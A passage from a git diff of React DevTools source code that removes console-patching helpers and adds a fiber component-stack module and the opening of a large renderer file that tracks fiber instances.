-        overrideMethod.__REACT_DEVTOOLS_ORIGINAL_METHOD__ = originalMethod;
-        originalMethod.__REACT_DEVTOOLS_OVERRIDE_METHOD__ = overrideMethod;
-
-        targetConsole[method] = overrideMethod;
-      } catch (error) {}
-    });
-  } else {
-    unpatch();
-  }
-}
-
-// Removed component stack patch from console methods.
-export function unpatch(): void {
-  if (unpatchFn !== null) {
-    unpatchFn();
-    unpatchFn = null;
-  }
-}
-
-let unpatchForStrictModeFn: null | (() => void) = null;
-
-// NOTE: KEEP IN SYNC with src/hook.js:patchConsoleForInitialCommitInStrictMode
-export function patchForStrictMode() {
-  const overrideConsoleMethods = [
-    'error',
-    'group',
-    'groupCollapsed',
-    'info',
-    'log',
-    'trace',
-    'warn',
-  ];
-
-  if (unpatchForStrictModeFn !== null) {
-    // Don't patch twice.
-    return;
-  }
-
-  const originalConsoleMethods: {[string]: $FlowFixMe} = {};
-
-  unpatchForStrictModeFn = () => {
-    for (const method in originalConsoleMethods) {
-      try {
-        targetConsole[method] = originalConsoleMethods[method];
-      } catch (error) {}
-    }
-  };
-
-  overrideConsoleMethods.forEach(method => {
-    try {
-      const originalMethod = (originalConsoleMethods[method] = targetConsole[
-        method
-      ].__REACT_DEVTOOLS_STRICT_MODE_ORIGINAL_METHOD__
-        ? targetConsole[method].__REACT_DEVTOOLS_STRICT_MODE_ORIGINAL_METHOD__
-        : targetConsole[method]);
-
-      // $FlowFixMe[missing-local-annot]
-      const overrideMethod = (...args) => {
-        if (!consoleSettingsRef.hideConsoleLogsInStrictMode) {
-          // Dim the text color of the double logs if we're not hiding them.
-          if (__IS_FIREFOX__) {
-            originalMethod(
-              ...formatWithStyles(args, FIREFOX_CONSOLE_DIMMING_COLOR),
-            );
-          } else {
-            originalMethod(
-              ANSI_STYLE_DIMMING_TEMPLATE,
-              ...formatConsoleArguments(...args),
-            );
-          }
-        }
-      };
-
-      overrideMethod.__REACT_DEVTOOLS_STRICT_MODE_ORIGINAL_METHOD__ =
-        originalMethod;
-      originalMethod.__REACT_DEVTOOLS_STRICT_MODE_OVERRIDE_METHOD__ =
-        overrideMethod;
-
-      targetConsole[method] = overrideMethod;
-    } catch (error) {}
-  });
-}
-
-// NOTE: KEEP IN SYNC with src/hook.js:unpatchConsoleForInitialCommitInStrictMode
-export function unpatchForStrictMode(): void {
-  if (unpatchForStrictModeFn !== null) {
-    unpatchForStrictModeFn();
-    unpatchForStrictModeFn = null;
-  }
-}
-
-export function patchConsoleUsingWindowValues() {
-  const appendComponentStack =
-    castBool(window.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__) ?? true;
-  const breakOnConsoleErrors =
-    castBool(window.__REACT_DEVTOOLS_BREAK_ON_CONSOLE_ERRORS__) ?? false;
-  const showInlineWarningsAndErrors =
-    castBool(window.__REACT_DEVTOOLS_SHOW_INLINE_WARNINGS_AND_ERRORS__) ?? true;
-  const hideConsoleLogsInStrictMode =
-    castBool(window.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__) ??
-    false;
-  const browserTheme =
-    castBrowserTheme(window.__REACT_DEVTOOLS_BROWSER_THEME__) ?? 'dark';
-
-  patch({
-    appendComponentStack,
-    breakOnConsoleErrors,
-    showInlineWarningsAndErrors,
-    hideConsoleLogsInStrictMode,
-    browserTheme,
-  });
-}
-
-// After receiving cached console patch settings from React Native, we set them on window.
-// When the console is initially patched (in renderer.js and hook.js), these values are read.
-// The browser extension (etc.) sets these values on window, but through another method.
-export function writeConsolePatchSettingsToWindow(
-  settings: ConsolePatchSettings,
-): void {
-  window.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ =
-    settings.appendComponentStack;
-  window.__REACT_DEVTOOLS_BREAK_ON_CONSOLE_ERRORS__ =
-    settings.breakOnConsoleErrors;
-  window.__REACT_DEVTOOLS_SHOW_INLINE_WARNINGS_AND_ERRORS__ =
-    settings.showInlineWarningsAndErrors;
-  window.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ =
-    settings.hideConsoleLogsInStrictMode;
-  window.__REACT_DEVTOOLS_BROWSER_THEME__ = settings.browserTheme;
-}
-
-export function installConsoleFunctionsToWindow(): void {
-  window.__REACT_DEVTOOLS_CONSOLE_FUNCTIONS__ = {
-    patchConsoleUsingWindowValues,
-    registerRendererWithConsole: registerRenderer,
-  };
-}
diff --git a/packages/react-devtools-shared/src/backend/fiber/DevToolsFiberComponentStack.js b/packages/react-devtools-shared/src/backend/fiber/DevToolsFiberComponentStack.js
new file mode 100644
index 000000000000..c938b6736323
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/fiber/DevToolsFiberComponentStack.js
@@ -0,0 +1,232 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This is a DevTools fork of ReactFiberComponentStack.
+// This fork enables DevTools to use the same "native" component stack format,
+// while still maintaining support for multiple renderer versions
+// (which use different values for ReactTypeOfWork).
+
+import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
+import type {CurrentDispatcherRef, WorkTagMap} from '../types';
+
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+import {
+  describeBuiltInComponentFrame,
+  describeFunctionComponentFrame,
+  describeClassComponentFrame,
+  describeDebugInfoFrame,
+} from '../shared/DevToolsComponentStackFrame';
+
+import {formatOwnerStack} from '../shared/DevToolsOwnerStack';
+
+export function describeFiber(
+  workTagMap: WorkTagMap,
+  workInProgress: Fiber,
+  currentDispatcherRef: CurrentDispatcherRef,
+): string {
+  const {
+    HostHoistable,
+    HostSingleton,
+    HostComponent,
+    LazyComponent,
+    SuspenseComponent,
+    SuspenseListComponent,
+    FunctionComponent,
+    IndeterminateComponent,
+    SimpleMemoComponent,
+    ForwardRef,
+    ClassComponent,
+    ViewTransitionComponent,
+    ActivityComponent,
+  } = workTagMap;
+
+  switch (workInProgress.tag) {
+    case HostHoistable:
+    case HostSingleton:
+    case HostComponent:
+      return describeBuiltInComponentFrame(workInProgress.type);
+    case LazyComponent:
+      // TODO: When we support Thenables as component types we should rename this.
+      return describeBuiltInComponentFrame('Lazy');
+    case SuspenseComponent:
+      return describeBuiltInComponentFrame('Suspense');
+    case SuspenseListComponent:
+      return describeBuiltInComponentFrame('SuspenseList');
+    case ViewTransitionComponent:
+      return describeBuiltInComponentFrame('ViewTransition');
+    case ActivityComponent:
+      return describeBuiltInComponentFrame('Activity');
+    case FunctionComponent:
+    case IndeterminateComponent:
+    case SimpleMemoComponent:
+      return describeFunctionComponentFrame(
+        workInProgress.type,
+        currentDispatcherRef,
+      );
+    case ForwardRef:
+      return describeFunctionComponentFrame(
+        workInProgress.type.render,
+        currentDispatcherRef,
+      );
+    case ClassComponent:
+      return describeClassComponentFrame(
+        workInProgress.type,
+        currentDispatcherRef,
+      );
+    default:
+      return '';
+  }
+}
+
+export function getStackByFiberInDevAndProd(
+  workTagMap: WorkTagMap,
+  workInProgress: Fiber,
+  currentDispatcherRef: CurrentDispatcherRef,
+): string {
+  try {
+    let info = '';
+    let node: Fiber = workInProgress;
+    do {
+      info += describeFiber(workTagMap, node, currentDispatcherRef);
+      // Add any Server Component stack frames in reverse order.
+      const debugInfo = node._debugInfo;
+      if (debugInfo) {
+        for (let i = debugInfo.length - 1; i >= 0; i--) {
+          const entry = debugInfo[i];
+          if (typeof entry.name === 'string') {
+            info += describeDebugInfoFrame(entry.name, entry.env);
+          }
+        }
+      }
+      // $FlowFixMe[incompatible-type] we bail out when we get a null
+      node = node.return;
+    } while (node);
+    return info;
+  } catch (x) {
+    return '\nError generating stack: ' + x.message + '\n' + x.stack;
+  }
+}
+
+export function getSourceLocationByFiber(
+  workTagMap: WorkTagMap,
+  fiber: Fiber,
+  currentDispatcherRef: CurrentDispatcherRef,
+): null | string {
+  // This is like getStackByFiberInDevAndProd but just the first stack frame.
+  try {
+    const info = describeFiber(workTagMap, fiber, currentDispatcherRef);
+    if (info !== '') {
+      return info.slice(1); // skip the leading newline
+    }
+  } catch (x) {
+    console.error(x);
+  }
+  return null;
+}
+
+export function supportsConsoleTasks(fiber: Fiber): boolean {
+  // If this Fiber supports native console.createTask then we are already running
+  // inside a native async stack trace if it's active - meaning the DevTools is open.
+  // Ideally we'd detect if this task was created while the DevTools was open or not.
+  return !!fiber._debugTask;
+}
+
+export function supportsOwnerStacks(fiber: Fiber): boolean {
+  // If this Fiber supports owner stacks then it'll have the _debugStack field.
+  // It might be null but that still means we should use the owner stack logic.
+  return fiber._debugStack !== undefined;
+}
+
+export function getOwnerStackByFiberInDev(
+  workTagMap: WorkTagMap,
+  workInProgress: Fiber,
+  currentDispatcherRef: CurrentDispatcherRef,
+): string {
+  const {
+    HostHoistable,
+    HostSingleton,
+    HostText,
+    HostComponent,
+    SuspenseComponent,
+    SuspenseListComponent,
+    ViewTransitionComponent,
+    ActivityComponent,
+  } = workTagMap;
+  try {
+    let info = '';
+
+    if (workInProgress.tag === HostText) {
+      // Text nodes never have an owner/stack because they're not created through JSX.
+      // We use the parent since text nodes are always created through a host parent.
+      workInProgress = (workInProgress.return: any);
+    }
+
+    // The owner stack of the current fiber will be where it was created, i.e. inside its owner.
+    // There's no actual name of the currently executing component. Instead, that is available
+    // on the regular stack that's currently executing. However, for built-ins there is no such
+    // named stack frame and it would be ignored as being internal anyway. Therefore we add
+    // add one extra frame just to describe the "current" built-in component by name.
+    switch (workInProgress.tag) {
+      case HostHoistable:
+      case HostSingleton:
+      case HostComponent:
+        info += describeBuiltInComponentFrame(workInProgress.type);
+        break;
+      case SuspenseComponent:
+        info += describeBuiltInComponentFrame('Suspense');
+        break;
+      case SuspenseListComponent:
+        info += describeBuiltInComponentFrame('SuspenseList');
+        break;
+      case ViewTransitionComponent:
+        info += describeBuiltInComponentFrame('ViewTransition');
+        break;
+      case ActivityComponent:
+        info += describeBuiltInComponentFrame('Activity');
+        break;
+    }
+
+    let owner: void | null | Fiber | ReactComponentInfo = workInProgress;
+
+    while (owner) {
+      if (typeof owner.tag === 'number') {
+        const fiber: Fiber = (owner: any);
+        owner = fiber._debugOwner;
+        let debugStack: void | null | string | Error = fiber._debugStack;
+        // If we don't actually print the stack if there is no owner of this JSX element.
+        // In a real app it's typically not useful since the root app is always controlled
+        // by the framework. These also tend to have noisy stacks because they're not rooted
+        // in a React render but in some imperative bootstrapping code. It could be useful
+        // if the element was created in module scope. E.g. hoisted. We could add a a single
+        // stack frame for context for example but it doesn't say much if that's a wrapper.
+        if (owner && debugStack) {
+          if (typeof debugStack !== 'string') {
+            debugStack = formatOwnerStack(debugStack);
+          }
+          if (debugStack !== '') {
+            info += '\n' + debugStack;
+          }
+        }
+      } else if (owner.debugStack != null) {
+        // Server Component
+        const ownerStack: Error = owner.debugStack;
+        owner = owner.owner;
+        if (owner && ownerStack) {
+          info += '\n' + formatOwnerStack(ownerStack);
+        }
+      } else {
+        break;
+      }
+    }
+    return info;
+  } catch (x) {
+    return '\nError generating stack: ' + x.message + '\n' + x.stack;
+  }
+}
diff --git a/packages/react-devtools-shared/src/backend/fiber/renderer.js b/packages/react-devtools-shared/src/backend/fiber/renderer.js
new file mode 100644
index 000000000000..037ce1c5cc3b
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/fiber/renderer.js
@@ -0,0 +1,8153 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Thenable,
+  ReactComponentInfo,
+  ReactDebugInfo,
+  ReactAsyncInfo,
+  ReactIOInfo,
+  ReactStackTrace,
+  ReactCallSite,
+  Wakeable,
+} from 'shared/ReactTypes';
+
+import type {HooksTree} from 'react-debug-tools/src/ReactDebugHooks';
+
+import {
+  ComponentFilterDisplayName,
+  ComponentFilterElementType,
+  ComponentFilterHOC,
+  ComponentFilterLocation,
+  ComponentFilterEnvironmentName,
+  ComponentFilterActivitySlice,
+  ElementTypeClass,
+  ElementTypeContext,
+  ElementTypeFunction,
+  ElementTypeForwardRef,
+  ElementTypeHostComponent,
+  ElementTypeMemo,
+  ElementTypeOtherOrUnknown,
+  ElementTypeProfiler,
+  ElementTypeRoot,
+  ElementTypeSuspense,
+  ElementTypeSuspenseList,
+  ElementTypeTracingMarker,
+  ElementTypeViewTransition,
+  ElementTypeActivity,
+  ElementTypeVirtual,
+  StrictMode,
+  ActivityHiddenMode,
+  ActivityVisibleMode,
+} from 'react-devtools-shared/src/frontend/types';
+import {
+  deletePathInObject,
+  getInObject,
+  getUID,
+  renamePathInObject,
+  setInObject,
+  utfEncodeString,
+} from 'react-devtools-shared/src/utils';
+import {
+  formatConsoleArgumentsToSingleString,
+  formatDurationToMicrosecondsGranularity,
+  gte,
+  serializeToString,
+} from 'react-devtools-shared/src/backend/utils';
+import {
+  extractLocationFromComponentStack,
+  extractLocationFromOwnerStack,
+  parseStackTrace,
+} from 'react-devtools-shared/src/backend/utils/parseStackTrace';
+import {
+  cleanForBridge,
+  copyWithDelete,
+  copyWithRename,
+  copyWithSet,
+  getEffectDurations,
+} from '../utils';
+import {
+  __DEBUG__,
+  PROFILING_FLAG_BASIC_SUPPORT,
+  PROFILING_FLAG_TIMELINE_SUPPORT,
+  PROFILING_FLAG_PERFORMANCE_TRACKS_SUPPORT,
+  TREE_OPERATION_ADD,
+  TREE_OPERATION_REMOVE,
+  TREE_OPERATION_REORDER_CHILDREN,
+  TREE_OPERATION_SET_SUBTREE_MODE,
+  TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS,
+  TREE_OPERATION_UPDATE_TREE_BASE_DURATION,
+  TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE,
+  SUSPENSE_TREE_OPERATION_ADD,
+  SUSPENSE_TREE_OPERATION_REMOVE,
+  SUSPENSE_TREE_OPERATION_REORDER_CHILDREN,
+  SUSPENSE_TREE_OPERATION_RESIZE,
+  SUSPENSE_TREE_OPERATION_SUSPENDERS,
+  UNKNOWN_SUSPENDERS_NONE,
+  UNKNOWN_SUSPENDERS_REASON_PRODUCTION,
+  UNKNOWN_SUSPENDERS_REASON_OLD_VERSION,
+  UNKNOWN_SUSPENDERS_REASON_THROWN_PROMISE,
+} from '../../constants';
+import {inspectHooksOfFiber} from 'react-debug-tools';
+import {
+  CONCURRENT_MODE_NUMBER,
+  CONCURRENT_MODE_SYMBOL_STRING,
+  DEPRECATED_ASYNC_MODE_SYMBOL_STRING,
+  PROVIDER_NUMBER,
+  PROVIDER_SYMBOL_STRING,
+  CONTEXT_NUMBER,
+  CONTEXT_SYMBOL_STRING,
+  CONSUMER_SYMBOL_STRING,
+  STRICT_MODE_NUMBER,
+  STRICT_MODE_SYMBOL_STRING,
+  PROFILER_NUMBER,
+  PROFILER_SYMBOL_STRING,
+  LAZY_SYMBOL_STRING,
+  REACT_OPTIMISTIC_KEY,
+} from '../shared/ReactSymbols';
+import {enableStyleXFeatures} from 'react-devtools-feature-flags';
+
+import {componentInfoToComponentLogsMap} from '../shared/DevToolsServerComponentLogs';
+
+import {getIODescription} from 'shared/ReactIODescription';
+
+import {
+  getPublicInstance,
+  getNativeTag,
+  getCurrentTime,
+} from 'react-devtools-shared/src/backend/DevToolsNativeHost';
+import {
+  isError,
+  rootSupportsProfiling,
+  isErrorBoundary,
+  getSecondaryEnvironmentName,
+  areEqualRects,
+} from './shared/DevToolsFiberInspection';
+import {
+  didFiberRender,
+  getContextChanged,
+  getChangedHooksIndices,
+  getChangedKeys,
+} from './shared/DevToolsFiberChangeDetection';
+import {getInternalReactConstants} from './shared/DevToolsFiberInternalReactConstants';
+import {
+  ioExistsInSuspenseAncestor,
+  getAwaitInSuspendedByFromIO,
+  getVirtualEndTime,
+} from './shared/DevToolsFiberSuspense';
+
+import {
+  getStackByFiberInDevAndProd,
+  getOwnerStackByFiberInDev,
+  supportsOwnerStacks,
+  supportsConsoleTasks,
+} from './DevToolsFiberComponentStack';
+
+import {getStyleXData} from '../StyleX/utils';
+import {createProfilingHooks} from '../profilingHooks';
+
+import type {GetTimelineData, ToggleProfilingStatus} from '../profilingHooks';
+import type {Fiber, FiberRoot} from 'react-reconciler/src/ReactInternalTypes';
+import type {
+  ChangeDescription,
+  CommitDataBackend,
+  DevToolsHook,
+  InspectedElement,
+  InspectedElementPayload,
+  InstanceAndStyle,
+  HostInstance,
+  PathFrame,
+  PathMatch,
+  ProfilingDataBackend,
+  ProfilingDataForRootBackend,
+  ReactRenderer,
+  Rect,
+  RendererInterface,
+  SerializedElement,
+  SerializedAsyncInfo,
+  CurrentDispatcherRef,
+  LegacyDispatcherRef,
+  ProfilingSettings,
+} from '../types';
+import type {
+  ComponentFilter,
+  ActivitySliceFilter,
+  ElementType,
+  Plugins,
+} from 'react-devtools-shared/src/frontend/types';
+import type {ReactFunctionLocation} from 'shared/ReactTypes';
+import type {
+  FiberInstance,
+  FilteredFiberInstance,
+  VirtualInstance,
+  DevToolsInstance,
+  SuspenseNode,
+} from './shared/DevToolsFiberTypes';
+import {
+  FIBER_INSTANCE,
+  VIRTUAL_INSTANCE,
+  FILTERED_FIBER_INSTANCE,
+} from './shared/DevToolsFiberTypes';
+import {getSourceLocationByFiber} from './DevToolsFiberComponentStack';
+import {formatOwnerStack} from '../shared/DevToolsOwnerStack';
+
+function createFiberInstance(fiber: Fiber): FiberInstance {
+  return {
+    kind: FIBER_INSTANCE,
+    id: getUID(),
+    parent: null,
+    firstChild: null,
+    nextSibling: null,
+    source: null,
+    logCount: 0,
+    treeBaseDuration: 0,
+    suspendedBy: null,
+    suspenseNode: null,
+    data: fiber,
+  };
+}
+
+// This is used to represent a filtered Fiber but still lets us find its host instance.
+function createFilteredFiberInstance(fiber: Fiber): FilteredFiberInstance {
+  return ({
+    kind: FILTERED_FIBER_INSTANCE,
+    id: 0,
+    parent: null,
+    firstChild: null,
+    nextSibling: null,
+    source: null,
+    logCount: 0,
+    treeBaseDuration: 0,
+    suspendedBy: null,
+    suspenseNode: null,
+    data: fiber,
+  }: any);
+}
+
+function createVirtualInstance(
+  debugEntry: ReactComponentInfo,
+): VirtualInstance {
+  return {
+    kind: VIRTUAL_INSTANCE,
+    id: getUID(),
+    parent: null,
+    firstChild: null,
+    nextSibling: null,
+    source: null,
+    logCount: 0,
+    treeBaseDuration: 0,
+    suspendedBy: null,
+    suspenseNode: null,
+    data: debugEntry,
+  };
+}
+
+// Update flags need to be propagated up until the caller that put the corresponding
+// node on the stack.
+// If you push a new node, you need to handle ShouldResetChildren when you pop it.
+// If you push a new Suspense node, you need to handle ShouldResetSuspenseChildren when you pop it.
+type UpdateFlags = number;
+const NoUpdate = /*                          */ 0b000;
+const ShouldResetChildren = /*               */ 0b001;
+const ShouldResetSuspenseChildren = /*       */ 0b010;
+const ShouldResetParentSuspenseChildren = /* */ 0b100;
+
+function createSuspenseNode(
+  instance: FiberInstance | FilteredFiberInstance,
+): SuspenseNode {
+  return (instance.suspenseNode = {
+    instance: instance,
+    parent: null,
+    firstChild: null,
+    nextSibling: null,
+    rects: null,
+    suspendedBy: new Map(),
+    environments: new Map(),
+    endTime: 0,
+    hasUniqueSuspenders: false,
+    hasUnknownSuspenders: false,
+  });
+}
+
+export function getDispatcherRef(renderer: {
+  +currentDispatcherRef?: LegacyDispatcherRef | CurrentDispatcherRef,
+  ...
+}): void | CurrentDispatcherRef {
+  if (renderer.currentDispatcherRef === undefined) {
+    return undefined;
+  }
+  const injectedRef = renderer.currentDispatcherRef;
+  if (
+    typeof injectedRef.H === 'undefined' &&
+    typeof injectedRef.current !== 'undefined'
+  ) {
+    // We got a legacy dispatcher injected, let's create a wrapper proxy to translate.
+    return {
+      get H() {
+        return (injectedRef: any).current;
+      },
+      set H(value) {
+        (injectedRef: any).current = value;
+      },
+    };
+  }
+  return (injectedRef: any);
+}
+
+// All environment names we've seen so far. This lets us create a list of filters to apply.
+// This should ideally include env of filtered Components too so that you can add those as
+// filters at the same time as removing some other filter.
+const knownEnvironmentNames: Set<string> = new Set();
+
+// Map of FiberRoot to their root FiberInstance.
+const rootToFiberInstanceMap: Map<FiberRoot, FiberInstance> = new Map();
+
+// Map of id to FiberInstance or VirtualInstance.
+// This Map is used to e.g. get the display name for a Fiber or schedule an update,
+// operations that should be the same whether the current and work-in-progress Fiber is used.
+const idToDevToolsInstanceMap: Map<
+  FiberInstance['id'] | VirtualInstance['id'],
+  FiberInstance | VirtualInstance,
+> = new Map();
+
+let focusedActivityID: null | FiberInstance['id'] = null;
+let focusedActivity: null | Fiber = null;
+
+const idToSuspenseNodeMap: Map<FiberInstance['id'], SuspenseNode> = new Map();
+
+// Map of canonical HostInstances to the nearest parent DevToolsInstance.
+const publicInstanceToDevToolsInstanceMap: Map<HostInstance, DevToolsInstance> =
+  new Map();
+// Map of resource DOM nodes to all the nearest DevToolsInstances that depend on it.
+const hostResourceToDevToolsInstanceMap: Map<
+  HostInstance,
+  Set<DevToolsInstance>,
+> = new Map();
+
+function aquireHostInstance(
+  nearestInstance: DevToolsInstance,
+  hostInstance: HostInstance,
+): void {
+  const publicInstance = getPublicInstance(hostInstance);
+  publicInstanceToDevToolsInstanceMap.set(publicInstance, nearestInstance);
+}
+
+function releaseHostInstance(
+  nearestInstance: DevToolsInstance,
+  hostInstance: HostInstance,
+): void {
+  const publicInstance = getPublicInstance(hostInstance);
+  if (
+    publicInstanceToDevToolsInstanceMap.get(publicInstance) === nearestInstance
+  ) {
+    publicInstanceToDevToolsInstanceMap.delete(publicInstance);
+  }
+}
+
+function aquireHostResource(
+  nearestInstance: DevToolsInstance,
+  resource: ?{instance?: HostInstance},
+): void {
+  const hostInstance = resource && resource.instance;
+  if (hostInstance) {
+    const publicInstance = getPublicInstance(hostInstance);
+    let resourceInstances =
+      hostResourceToDevToolsInstanceMap.get(publicInstance);
+    if (resourceInstances === undefined) {
+      resourceInstances = new Set();
+      hostResourceToDevToolsInstanceMap.set(publicInstance, resourceInstances);
+      // Store the first match in the main map for quick access when selecting DOM node.
+      publicInstanceToDevToolsInstanceMap.set(publicInstance, nearestInstance);
+    }
+    resourceInstances.add(nearestInstance);
+  }
+}
+
+function releaseHostResource(
+  nearestInstance: DevToolsInstance,
+  resource: ?{instance?: HostInstance},
+): void {
+  const hostInstance = resource && resource.instance;
+  if (hostInstance) {
+    const publicInstance = getPublicInstance(hostInstance);
+    const resourceInstances =
+      hostResourceToDevToolsInstanceMap.get(publicInstance);
+    if (resourceInstances !== undefined) {
+      resourceInstances.delete(nearestInstance);
+      if (resourceInstances.size === 0) {
+        hostResourceToDevToolsInstanceMap.delete(publicInstance);
+        publicInstanceToDevToolsInstanceMap.delete(publicInstance);
+      } else if (
+        publicInstanceToDevToolsInstanceMap.get(publicInstance) ===
+        nearestInstance
+      ) {
+        // This was the first one. Store the next first one in the main map for easy access.
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const firstInstance of resourceInstances) {
+          publicInstanceToDevToolsInstanceMap.set(
+            publicInstance,
+            firstInstance,
+          );
+          break;
+        }
+      }
+    }
+  }
+}
+
+export function attach(
+  hook: DevToolsHook,
+  rendererID: number,
+  renderer: ReactRenderer,
+  global: Object,
+  shouldStartProfilingNow: boolean,
+  profilingSettings: ProfilingSettings,
+  componentFiltersOrComponentFiltersPromise:
+    | Array<ComponentFilter>
+    | Promise<Array<ComponentFilter>>,
+): RendererInterface {
+  // Newer versions of the reconciler package also specific reconciler version.
+  // If that version number is present, use it.
+  // Third party renderer versions may not match the reconciler version,
+  // and the latter is what's important in terms of tags and symbols.
+  const version = renderer.reconcilerVersion || renderer.version;
+
+  const {
+    getDisplayNameForFiber,
+    getTypeSymbol,
+    ReactPriorityLevels,
+    ReactTypeOfWork,
+    StrictModeBits,
+    SuspenseyImagesMode,
+  } = getInternalReactConstants(version);
+  const {
+    ActivityComponent,
+    ClassComponent,
+    DehydratedSuspenseComponent,
+    ForwardRef,
+    Fragment,
+    FunctionComponent,
+    HostRoot,
+    HostHoistable,
+    HostSingleton,
+    HostPortal,
+    HostComponent,
+    HostText,
+    IncompleteClassComponent,
+    IncompleteFunctionComponent,
+    IndeterminateComponent,
+    LegacyHiddenComponent,
+    MemoComponent,
+    OffscreenComponent,
+    SimpleMemoComponent,
+    SuspenseComponent,
+    SuspenseListComponent,
+    TracingMarkerComponent,
+    Throw,
+    ViewTransitionComponent,
+  } = ReactTypeOfWork;
+  const {
+    ImmediatePriority,
+    UserBlockingPriority,
+    NormalPriority,
+    LowPriority,
+    IdlePriority,
+    NoPriority,
+  } = ReactPriorityLevels;
+
+  const {
+    getLaneLabelMap,
+    injectProfilingHooks,
+    overrideHookState,
+    overrideHookStateDeletePath,
+    overrideHookStateRenamePath,
+    overrideProps,
+    overridePropsDeletePath,
+    overridePropsRenamePath,
+    scheduleRefresh,
+    setErrorHandler,
+    setSuspenseHandler,
+    scheduleUpdate,
+    scheduleRetry,
+    getCurrentFiber,
+  } = renderer;
+  const supportsTogglingError =
+    typeof setErrorHandler === 'function' &&
+    typeof scheduleUpdate === 'function';
+  const supportsTogglingSuspense =
+    typeof setSuspenseHandler === 'function' &&
+    typeof scheduleUpdate === 'function';
+  const supportsPerformanceTracks = gte(version, '19.2.0');
+
+  if (typeof scheduleRefresh === 'function') {
+    // When Fast Refresh updates a component, the frontend may need to purge cached information.
+    // For example, ASTs cached for the component (for named hooks) may no longer be valid.
+    // Send a signal to the frontend to purge this cached information.
+    // The "fastRefreshScheduled" dispatched is global (not Fiber or even Renderer specific).
+    // This is less effecient since it means the front-end will need to purge the entire cache,
+    // but this is probably an okay trade off in order to reduce coupling between the DevTools and Fast Refresh.
+    renderer.scheduleRefresh = (...args) => {
+      try {
+        hook.emit('fastRefreshScheduled');
+      } finally {
+        return scheduleRefresh(...args);
+      }
+    };
+  }
+
+  let getTimelineData: null | GetTimelineData = null;
+  let toggleProfilingStatus: null | ToggleProfilingStatus = null;
+  if (typeof injectProfilingHooks === 'function') {
+    const response = createProfilingHooks({
+      getDisplayNameForFiber,
+      getIsProfiling: () => isProfiling,
+      getLaneLabelMap,
+      currentDispatcherRef: getDispatcherRef(renderer),
+      workTagMap: ReactTypeOfWork,
+      reactVersion: version,
+    });
+
+    // Pass the Profiling hooks to the reconciler for it to call during render.
+    injectProfilingHooks(response.profilingHooks);
+
+    // Hang onto this toggle so we can notify the external methods of profiling status changes.
+    getTimelineData = response.getTimelineData;
+    toggleProfilingStatus = response.toggleProfilingStatus;
+  }
+
+  type ComponentLogs = {
+    errors: Map<string, number>,
+    errorsCount: number,
+    warnings: Map<string, number>,
+    warningsCount: number,
+  };
+  // Tracks Errors/Warnings logs added to a Fiber. They are added before the commit and get
+  // picked up a FiberInstance. This keeps it around as long as the Fiber is alive which
+  // lets the Fiber get reparented/remounted and still observe the previous errors/warnings.
+  // Unless we explicitly clear the logs from a Fiber.
+  const fiberToComponentLogsMap: WeakMap<Fiber, ComponentLogs> = new WeakMap();
+  // Tracks whether we've performed a commit since the last log. This is used to know
+  // whether we received any new logs between the commit and post commit phases. I.e.
+  // if any passive effects called console.warn / console.error.
+  let needsToFlushComponentLogs = false;
+
+  function bruteForceFlushErrorsAndWarnings(root: FiberInstance) {
+    // Refresh error/warning count for all mounted unfiltered Fibers.
+    let hasChanges = false;
+    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+    for (const devtoolsInstance of idToDevToolsInstanceMap.values()) {
+      if (devtoolsInstance.kind === FIBER_INSTANCE) {
+        const fiber = devtoolsInstance.data;
+        const componentLogsEntry = fiberToComponentLogsMap.get(fiber);
+        const changed = recordConsoleLogs(devtoolsInstance, componentLogsEntry);
+        if (changed) {
+          hasChanges = true;
+          updateMostRecentlyInspectedElementIfNecessary(devtoolsInstance.id);
+        }
+      } else {
+        // Virtual Instances cannot log in passive effects and so never appear here.
+      }
+    }
+    if (hasChanges) {
+      flushPendingEvents(root);
+    }
+  }
+
+  function clearErrorsAndWarnings() {
+    // Note, this only clears logs for Fibers that have instances. If they're filtered
+    // and then mount, the logs are there. Ensuring we only clear what you've seen.
+    // If we wanted to clear the whole set, we'd replace fiberToComponentLogsMap with a
+    // new WeakMap. It's unclear whether we should clear componentInfoToComponentLogsMap
+    // since it's shared by other renderers but presumably it would.
+
+    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+    for (const devtoolsInstance of idToDevToolsInstanceMap.values()) {
+      if (devtoolsInstance.kind === FIBER_INSTANCE) {
+        const fiber = devtoolsInstance.data;
+        fiberToComponentLogsMap.delete(fiber);
+        if (fiber.alternate) {
+          fiberToComponentLogsMap.delete(fiber.alternate);
+        }
+      } else {
+        componentInfoToComponentLogsMap.delete(devtoolsInstance.data);
+      }
+      const changed = recordConsoleLogs(devtoolsInstance, undefined);
+      if (changed) {
+        updateMostRecentlyInspectedElementIfNecessary(devtoolsInstance.id);
+      }
+    }
+    flushPendingEvents(null);
+  }
+
+  function clearConsoleLogsHelper(instanceID: number, type: 'error' | 'warn') {
+    const devtoolsInstance = idToDevToolsInstanceMap.get(instanceID);
+    if (devtoolsInstance !== undefined) {
+      let componentLogsEntry;
+      if (devtoolsInstance.kind === FIBER_INSTANCE) {
+        const fiber = devtoolsInstance.data;
+        componentLogsEntry = fiberToComponentLogsMap.get(fiber);
+
+        if (componentLogsEntry === undefined && fiber.alternate !== null) {
+          componentLogsEntry = fiberToComponentLogsMap.get(fiber.alternate);
+        }
+      } else {
+        const componentInfo = devtoolsInstance.data;
+        componentLogsEntry = componentInfoToComponentLogsMap.get(componentInfo);
+      }
+      if (componentLogsEntry !== undefined) {
+        if (type === 'error') {
